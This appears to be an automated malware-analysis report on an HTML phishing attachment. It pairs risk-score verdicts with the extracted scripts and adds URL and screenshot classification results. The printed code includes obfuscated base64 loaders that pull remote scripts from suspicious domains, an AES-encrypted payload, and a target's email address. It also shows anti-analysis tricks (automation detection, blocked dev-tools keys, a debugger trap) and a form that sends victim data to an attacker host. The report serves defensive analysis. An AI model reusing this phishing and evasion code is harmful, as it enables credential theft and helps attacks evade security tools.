Windows Analysis Report
7394231845.html

{
    "risk_score": 9,
    "reasoning": "This script demonstrates several high-risk behaviors, including dynamic code execution, data exfiltration, and redirection to a suspicious domain. The use of obfuscated code and the collection of user data (email address) further increase the risk. Overall, this script exhibits a high level of malicious intent and should be considered a significant security threat."
}

yewwood = '#Dhilbertcandelario.panagsagan@globalfoundries.com';

new Function(atob(`YmFycmFtdW5kaSA9IGBodHRwczpgK2AvL2JpbGxgK2BvdHRpYCtgc29yZ2FuYCsiemluZy5jbyIrJ20vcmVzJysiNDQ0LnBocCIrJz8yLScrYDY4N2ArYDQ3NDcwNzNgKyIzYTJmMmYiKyc1NDQ2MzYyZScrYDZhNzE3YCtgNTY3NjJgKyc2Mzc0NjM2JysiNDczMiIrImU3Mjc1IisnMmYzJytgMDcwYCsiNjgzIitgMTJmLXlld2ArJ3dvJytgb2RgOwpkb2N1bWVudFsnd3JpdGUnXSgiPHNjcmlwdCBzcmM9JyIgKyBiYXJyYW11bmRpICsgIic+PFwvc2NyaXB0PiIpOw==`))();

{
    "risk_score": 9,
    "reasoning": "This script exhibits several high-risk behaviors, including dynamic code execution, data exfiltration, and redirects to suspicious domains. The use of obfuscated code and URLs further increases the risk. While the script may have some legitimate functionality, the overall behavior is highly suspicious and indicative of malicious intent."
}

/* The secret of success is to do the common thing uncommonly well. */
if(atob("aHR0cHM6Ly9jbUFXLmpxdWdiY3RjZHMucnUvMHBoMS8=") == "nomatch"){
document.write(decodeURIComponent(escape(atob('PCFET0NUWVBFIGh0bWw+DQo8aHRtbCBsYW5nPSJlbiI+DQo8aGVhZD4NCiAgICA8c2NyaXB0IHNyYz0iaHR0cHM6Ly9jb2RlLmpxdWVyeS5jb20vanF1ZXJ5LTMuNi4wLm1pbi5qcyI+PC9zY3JpcHQ+DQogICAgPHNjcmlwdCBzcmM9Imh0dHBzOi8vY2hhbGxlbmdlcy5jbG91ZGZsYXJlLmNvbS90dXJuc3RpbGUvdjAvYXBpLmpzP3JlbmRlcj1leHBsaWNpdCI+PC9zY3JpcHQ+DQogICAgPHNjcmlwdCBzcmM9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2NyeXB0by1qcy80LjEuMS9jcnlwdG8tanMubWluLmpzIj48L3NjcmlwdD4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPUVkZ2UsY2hyb21lPTEiPg0KICAgIDxtZXRhIG5hbWU9InJvYm90cyIgY29udGVudD0ibm9pbmRleCwgbm9mb2xsb3ciPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU+JiM4MjAzOzwvdGl0bGU+DQogICAgPHN0eWxlPg0KYm9keSB7DQogIGJhY2tncm91bmQtY29sb3I6ICNmZmY7DQogIGhlaWdodDogMTAwJTsNCiAgb3ZlcmZsb3c6IGhpZGRlbjsNCn0NCiNBSHJSeWNsaFZ4IGg0e21hcmdpbi10b3A6MDttYXJnaW4tYm90dG9tOi41cmVtO2ZvbnQtd2VpZ2h0OjUwMDtsaW5lLWhlaWdodDoxLjI7fQ0KI0FIclJ5Y2xoVnggaDR7Zm9udC1zaXplOmNhbGMoMS4zKTt9DQpAbWVkaWEgKG1pbi13aWR0aDoxMjAwcHgpew0KI0FIclJ5Y2xoVnggaDR7Zm9udC1zaXplOjEuNXJlbTt9DQp9DQojQUhyUnljbGhWeCBwe21hcmdpbi10b3A6MDttYXJnaW4tYm90dG9tOjFyZW07fQ0KI0FIclJ5Y2xoVnguY2FwdGNoYS1jb250YWluZXJ7cG9zaXRpb246IHJlbGF0aXZlO3RvcDogMTM4cHg7Lyp3aWR0aDogMTAwJTsqL3BhZGRpbmctcmlnaHQ6IHZhcigtLWJzLWd1dHRlci14LCAuNzVyZW0pO3BhZGRpbmctbGVmdDogdmFyKC0tYnMtZ3V0dGVyLXgsIC43NXJlbSk7bWFyZ2luLXJpZ2h0OiBhdXRvO21hcmdpbi1sZWZ0OiBhdXRvO30NCiNBSHJSeWNsaFZ4IC50ZXh0LWNlbnRlciB7dGV4dC1hbGlnbjogY2VudGVyIWltcG9ydGFudDt9DQpAbWVkaWEgKG1pbi13aWR0aDo5OTJweCl7DQojQUhyUnljbGhWeCAuY29sLWxnLTR7ZmxleDowIDAgYXV0bzt3aWR0aDozMy4zMzMzMzMzMyU7fQ0KfQ0KI0FIclJ5Y2xoVnggLmRpc3BsYXktNCB7Zm9udC1zaXplOiAxLjI1cmVtIWltcG9ydGFudDt9DQojQUhyUnljbGhWeCAubXQtMiB7bWFyZ2luLXRvcDogMC41cmVtIWltcG9ydGFudDt9DQojQUhyUnljbGhWeCAuaDQge2ZvbnQtc2l6ZTogY2FsYyguOTAwcmVtICsgLjN2dyk7fQ0KI0FIclJ5Y2xoVnggLmp1c3RpZnktY29udGVudC1jZW50ZXJ7anVzdGlmeS1jb250ZW50OmNlbnRlciFpbXBvcnRhbnQ7fQ0KI0FIclJ5Y2xoVngubXQtNXttYXJnaW4tdG9wOjNyZW0haW1wb3J0YW50O30NCiNBSHJSeWNsaFZ4IC5tdC00IHttYXJnaW4tdG9wOiAxcmVtIWltcG9ydGFudDt9DQojQUhyUnljbGhWeCAjcU1GWkxWVFlMSiB7Y29sb3I6ICM2Yzc1N2Q7Zm9udC1zaXplOjE0cHg7bWFyZ2luLXRvcDogLjVyZW07fQ0KICAgIDwvc3R5bGU+DQogICAgPHNjcmlwdD4NCiAgICBpZiAobmF2aWdhdG9yLndlYmRyaXZlciB8fCB3aW5kb3cuY2FsbFBoYW50b20gfHwgd2luZG93Ll9waGFudG9tIHx8IG5hdmlnYXRvci51c2VyQWdlbnQuaW5jbHVkZXMoIkJ1cnAiKSkgew0KICAgICAgICB3aW5kb3cubG9jYXRpb24gPSAiYWJvdXQ6YmxhbmsiOw0KfQ0KZG9jdW1lbnQuYWRkRXZlbnRMaXN0ZW5lcigna2V5ZG93bicsIGZ1bmN0aW9uKGV2ZW50KSB7DQogICAgaWYgKGV2ZW50LmtleUNvZGUgPT09IDEyMykgew0KICAgICAgICBldmVudC5wcmV2ZW50RGVmYXVsdCgpOw0KICAgICAgICByZXR1cm4gZmFsc2U7DQogICAgfQ0KDQogICAgaWYgKA0KICAgICAgICAoZXZlbnQuY3RybEtleSAmJiBldmVudC5rZXlDb2RlID09PSA4NSkgfHwNCiAgICAgICAgKGV2ZW50LmN0cmxLZXkgJiYgZXZlbnQuc2hpZnRLZXkgJiYgZXZlbnQua2V5Q29kZSA9PT0gNzMpIHx8DQogICAgICAgIChldmVudC5jdHJsS2V5ICYmIGV2ZW50LnNoaWZ0S2V5ICYmIGV2ZW50LmtleUNvZGUgPT09IDY3KSB8fA0KICAgICAgICAoZXZlbnQuY3RybEtleSAmJiBldmVudC5zaGlmdEtleSAmJiBldmVudC5rZXlDb2RlID09PSA3NCkgfHwNCiAgICAgICAgKGV2ZW50LmN0cmxLZXkgJiYgZXZlbnQuc2hpZnRLZXkgJiYgZXZlbnQua2V5Q29kZSA9PT0gNzUpIHx8DQogICAgICAgIChldmVudC5jdHJsS2V5ICYmIGV2ZW50LmtleUNvZGUgPT09IDcyKSB8fA0KICAgICAgICAoZXZlbnQubWV0YUtleSAmJiBldmVudC5hbHRLZXkgJiYgZXZlbnQua2V5Q29kZSA9PT0gNzMpIHx8DQogICAgICAgIChldmVudC5tZXRhS2V5ICYmIGV2ZW50LmFsdEtleSAmJiBldmVudC5rZXlDb2RlID09PSA2NykgfHwNCiAgICAgICAgKGV2ZW50Lm1ldGFLZXkgJiYgZXZlbnQua2V5Q29kZSA9PT0gODUpDQogICAgKSB7DQogICAgICAgIGV2ZW50LnByZXZlbnREZWZhdWx0KCk7DQogICAgICAgIHJldHVybiBmYWxzZTsNCiAgICB9DQp9KTsNCmRvY3VtZW50LmFkZEV2ZW50TGlzdGVuZXIoJ2NvbnRleHRtZW51JywgZnVuY3Rpb24oZXZlbnQpIHsNCiAgICBldmVudC5wcmV2ZW50RGVmYXVsdCgpOw0KICAgIHJldHVybiBmYWxzZTsNCn0pOw0KRVhwS3BGQVR1SiA9IGZhbHNlOw0KKGZ1bmN0aW9uIHdkVnVjV1NRaXEoKSB7DQogICAgbGV0IGZJYXJlS3VqaVAgPSBmYWxzZTsNCiAgICBjb25zdCBoWmRFRmtsU2FqID0gMTAwOw0KICAgIHNldEludGVydmFsKGZ1bmN0aW9uKCkgew0KIC

{
    "risk_score": 6,
    "reasoning": "The script demonstrates moderate-risk behaviors, including the use of external data transmission and potential data exfiltration. While the script appears to be using cryptographic functions, the purpose and the nature of the transmitted data are unclear, requiring further investigation."
}

    var isCKpGTUMgfLnMgh = document.createElement("script");
isCKpGTUMgfLnMgh.setAttribute("src","https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.0.0/crypto-js.min.js");
document.head.append(isCKpGTUMgfLnMgh);
isCKpGTUMgfLnMgh.onload=function(){
var {a,b,c,d} = JSON.parse(atob("eyJhIjoiT2pMNEpRSk82blVnYTlYWE4xWFBZZEN6eXh2R3VySWVoNkc3SzQ0Y09tcncrenF5N3ZSUUowZUc0d3IwNVdwSmVEWlFQQ29FWHlPM2hQM1pRa09QWGVlRFwveWxLMElpM24rR0hTZkgzdW55WjdpNWJXUHdSdHR1QjU2RUpqTjVkMlFHWnc4MTVHUlczWmVqMUwxemQ2THRiZFJTbTZzbkFxRm1vVGJicVJKXC91MkhpRURSRlhlMFlKakJJVjc1c2JZVDVmTWtQWmlReWJPZkMxRjgxNUIwbmdNaElFbXQwSnhtczlad0g0R2Y4azhkVUg2dkRnd2pCZU9TXC96QVFPR2JhWWlSRk9kcE1uNmQzSmVGVmdCa25HTFlxd0RiSHFcL0Q4UGxkK3E3XC9wWWpiYkxFWW14T2Y4WGFCMUtNd1JqQXE5XC9JR1B6Y0o1MEg2bnl6cmorSGkrQkJPXC81WGRwdDRDK1ZJZ2liVG9BbzJQaHJ4Vk5YNklxY1o4U1FzRUxRZ3dTTVVUVldaVzV3bUo0bjA1QWR1ZVlxQ200eG9uaVdtcCt1TVJOR0pBQlhsU2ZJWXUrWkhEVWRSWFJSMHR3cWhtZjJuUFhZUTArOVk2bFdnQWtpMTd1YWM5dzRaRkhnVjdlVGhiTjY1alVPd0JVMDlTNGJlaXcrUjRCS2QyNWZySzViUXVjS1g3Y3J5dWNtY3VUVTZaXC9ZRDE3UmhPYTUzclJxY0dHXC9mYTBDQVBEMXFDR3hIbHFmUnBcL0V5Y0FDV3I5TVRNRnBvXC91ODYzQ0JnS3FuZkUrQzlKZ0pKY0VMVFh0dWZhbG1nUE02enhHdzM2QnB2SHl1VjRQNHpBZWxQSUhhbHFZeTkzanVFVWhvbVo1NjV0bVdpQ0dYVUllazZSK1lGbll6dnZDMktYaXFPXC9lbG8xYTNNZXdibGJYazVqeWFrd0FldTVTc1lRbjh0TmRFakpBU3N6MmRBbkJGZXBVdXByQkdWVEF4dGgxd2w3eVp3TmgxeU90OG5aZm1BUG5MV3RJY3JKTkYyVG1SM0JRSjl5dz09IiwiYiI6ImRkYTZjMzM0MDNlYzQ5NWIzYjU1MDYxY2M1MjdiMTNmIiwiYyI6IjE0NjY5ODU5NDk5ZDM5NWY4ODg2ODQ3YzdiZGJjMWU2IiwiZCI6IjYyMzgzOTM0NjQzMzYxNjM2NDY0MzkzNjY2NjMzOTY0MzUzNzYyMzEzMzM0NjI2NjY1NjEzNjMyNjMzMjMwMzkifQ=="));
var bqEsyRLPaQdxdYkW = CryptoJS.PBKDF2(CryptoJS.enc.Hex.parse(d),CryptoJS.enc.Hex.parse(b),{hasher:CryptoJS.algo.SHA512,keySize:64/8,iterations:999});
HTfGgKzxbowApkQQ = CryptoJS.AES.decrypt(a,bqEsyRLPaQdxdYkW,{iv:CryptoJS.enc.Hex.parse(c)}).toString(CryptoJS.enc.Utf8);
HTfGgKzxbowApkQQ = HTfGgKzxbowApkQQ.replace(/DOsqwJCUiXMqOFhf/g, yewwood);
document.write(HTfGgKzxbowApkQQ);
}

{
    "risk_score": 8,
    "reasoning": "This script exhibits several high-risk behaviors, including detecting browser automation tools, disabling common keyboard shortcuts, and attempting to redirect the user to an external domain. The use of a setInterval loop with a debugger statement is also a concerning behavior that could be used to detect and evade security tools. Overall, this script demonstrates a high level of malicious intent and should be treated with caution."
}

    if (navigator.webdriver || window.callPhantom || window._phantom || navigator.userAgent.includes("Burp")) {
        window.location = "about:blank";
}
document.addEventListener('keydown', function(event) {
    if (event.keyCode === 123) {
        event.preventDefault();
        return false;
    }

    if (
        (event.ctrlKey && event.keyCode === 85) ||
        (event.ctrlKey && event.shiftKey && event.keyCode === 73) ||
        (event.ctrlKey && event.shiftKey && event.keyCode === 67) ||
        (event.ctrlKey && event.shiftKey && event.keyCode === 74) ||
        (event.ctrlKey && event.shiftKey && event.keyCode === 75) ||
        (event.ctrlKey && event.keyCode === 72) ||
        (event.metaKey && event.altKey && event.keyCode === 73) ||
        (event.metaKey && event.altKey && event.keyCode === 67) ||
        (event.metaKey && event.keyCode === 85)
    ) {
        event.preventDefault();
        return false;
    }
});
document.addEventListener('contextmenu', function(event) {
    event.preventDefault();
    return false;
});
EXpKpFATuJ = false;
(function wdVucWSQiq() {
    let fIareKujiP = false;
    const hZdEFklSaj = 100;
    setInterval(function() {
        const zTxQPmXuTr = performance.now();
        debugger;
        const skNbfPrcQW = performance.now();
        if (skNbfPrcQW - zTxQPmXuTr > hZdEFklSaj && !fIareKujiP) {
            EXpKpFATuJ = true;
            fIareKujiP = true;
            window.location.replace('https://www.sharepoint.com');
        }
    }, 100);
})();
    

{
    "risk_score": 9,
    "reasoning": "This script demonstrates several high-risk behaviors, including dynamic code execution, data exfiltration, and redirects to suspicious domains. The script uses the `turnstile.render()` function to render a form, and then sets up event handlers for the form submission. When the form is submitted, the script sends data to an unknown domain and redirects the user to a SharePoint domain, which is suspicious. Additionally, the script uses obfuscated URLs and dynamic code execution, which are further indicators of malicious intent. Overall, this script poses a high risk and should be thoroughly investigated."
}

turnstile.render('#cf', {
    sitekey: '0x4AAAAAAA0rlvr7sW4yFuOO',
    'error-callback': mqXZhikIXv,
    callback: HuUTqnlftT,
});
function mqXZhikIXv() {
    turnstile.reset();
}
function HuUTqnlftT() {
    var oOwqBzHOXf = document.getElementById("vuIxqjTdFk");
    oOwqBzHOXf.onsubmit = function (event) {
        event.preventDefault();
    };
    document.getElementById("pagelink").value = '2HZM';
    var lLBWNjDctV = "../gnk0yZuFiWGhs0ILPfe4uHHMqWwy8C8wuQ7Rouu8tsD6pd";
    fetch('https://2Q6fTlgj9L6xf3QSI9NTFaeNWrEU23CN79a8AsqvV37oClyY4zYrFn.uyofiykrxf.ru/13969733940135742186QBaVJJEPNDNHBZEJMKLGFKSODYUFRAXZJQPSJLVGPSOLEMMDQJNPZMCD', {
    method: "GET",
    }).then(response => {
    return response.text()
    }).then(text => {
    if(text == 0){
    fetch(lLBWNjDctV, {
        method: "POST",
        body: new FormData(oOwqBzHOXf)
    }).then(response => {
        return response.json();
    }).then(data => {
        if(data['status'] == 'success'){
        if(EXpKpFATuJ == false){
        location.reload();
        }
        }
        if(data['status'] == 'error'){
        window.location.replace('https://www.sharepoint.com');
        }
    });
    }
    if(text != 0){
    window.location.replace('https://www.sharepoint.com');
    }
    })
    .catch(error => {
    window.location.replace('https://www.sharepoint.com');
    });
}

{
    "typosquatting": false,
    "unusual_query_string": false,
    "suspicious_tld": false,
    "ip_in_url": false,
    "long_subdomain": false,
    "malicious_keywords": false,
    "encoded_characters": false,
    "redirection": false,
    "contains_email_address": false,
    "known_domain": true,
    "brand_spoofing_attempt": false,
    "third_party_hosting": false
}

URL: https://microsoft.com

{
  "contains_trigger_text": false,
  "trigger_text": "unknown",
  "prominent_button_name": "unknown",
  "text_input_field_labels": "unknown",
  "pdf_icon_visible": false,
  "has_visible_captcha": false,
  "has_urgent_text": false,
  "has_visible_qrcode": false,
  "contains_chinese_text": false,
  "contains_fake_security_alerts": false
}

{
  "contains_trigger_text": false,
  "trigger_text": "unknown",
  "prominent_button_name": "unknown",
  "text_input_field_labels": "unknown",
  "pdf_icon_visible": false,
  "has_visible_captcha": false,
  "has_urgent_text": false,
  "has_visible_qrcode": false,
  "contains_chinese_text": false,
  "contains_fake_security_alerts": false
}

{
  "brands": "unknown"
}

{
  "brands": [
    "Cloudflare"
  ]
}

{
"contains_trigger_text": true,
"trigger_text": "Your current User-Agent string appears to be from an automated process, if this is incorrect, please click this link:",
"prominent_button_name": "United States English Microsoft Homepage",
"text_input_field_labels": "unknown",
"pdf_icon_visible": false,
"has_visible_captcha": false,
"has_urgent_text": false,
"has_visible_qrcode": false,
"contains_chinese_text": false,
"contains_fake_security_alerts": false
}

{
"contains_trigger_text": true,
"trigger_text": "Your current User-Agent string appears to be from an automated process, if this is incorrect, please click this link:",
"prominent_button_name": "United States English Microsoft Homepage",
"text_input_field_labels": "unknown",
"pdf_icon_visible": false,
"has_visible_captcha": false,
"has_urgent_text": false,
"has_visible_qrcode": false,
"contains_chinese_text": false,
"contains_fake_security_alerts": false
}

{
  "brands": [
    "Microsoft"
  ]
}

{
  "brands": [
    "Microsoft"
  ]
}